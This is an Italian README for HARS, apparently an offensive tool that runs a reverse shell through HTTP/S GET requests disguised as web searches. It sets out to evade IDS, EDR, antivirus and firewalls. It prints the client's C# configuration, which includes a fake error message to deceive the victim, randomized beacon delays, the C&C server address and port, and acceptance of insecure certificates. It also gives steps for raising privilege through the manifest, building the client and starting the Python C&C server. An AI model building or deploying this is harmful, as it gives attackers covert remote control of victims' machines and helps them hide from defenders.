
[POC] Reverse shell asincrona tramite il protocollo HTTP.

In un'epoca in cui sistemi di rilevamento avanzati come IDS, IPS, EDR, AV e firewall dominano le reti aziendali, eluderli durante valutazioni di sicurezza offensive è una sfida. La maggior parte delle reverse shell sfruttano tunnel TCP (L4), che ora vengono regolarmente analizzati e segnalati.
Questo progetto presenta una soluzione innovativa: una reverse shell completamente asincrona su HTTP/S che si mimetizza nel normale traffico web imitando il comportamento legittimo degli utenti.
A differenza delle reverse shell tradizionali, utilizza solo richieste GET, appare come normali query web e può opzionalmente funzionare su HTTPS con un certificato contraffatto che appare legittimo, riducendo al minimo le possibilità di rilevamento.
Il client interroga il server finché non riceve istruzioni.
L'attaccante fornisce istruzioni al server.
Quando un comando viene definito, il client lo esegue e restituisce il risultato.
E così via, finché l'attaccante non decide di terminare la sessione.
Questo strumento è inteso esclusivamente come dimostrazione del concetto per test di sicurezza autorizzati. Assicurati di verificare le leggi locali prima di utilizzare questo strumento.
Oggi, come POC, sono implementate le seguenti funzionalità:
HARS.sln in Visual Studio.Config.cs per adattarlo al tuo ambiente: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
Opzionale: Modifica HARS.manifest per regolare il livello di privilegio.
requestedExecutionLevelpuò essere impostato suasInvoker,highestAvailableorequireAdministrator.
Proprietà del progetto
Qui puoi personalizzare le informazioni dell'assembly e un'icona per il file.
Nota: La versione del framework .NET di destinazione è impostata su 4.6, disponibile per impostazione predefinita in Windows 10.
Per Windows 7, scegli .NET 3.5 se non vuoi dover installare funzionalità mancanti.
Compila il progetto da Visual Studio.
Il client dovrebbe essere generato nella cartella Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
Fatto!
HARS_Server.py in HARS_Server/www/ per personalizzare la porta o il percorso del certificato.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
Http Asynchronous Reverse Shell\HARS_Server\logs\Http Asynchronous Reverse Shell\HARS_Server\templates@onSec-fr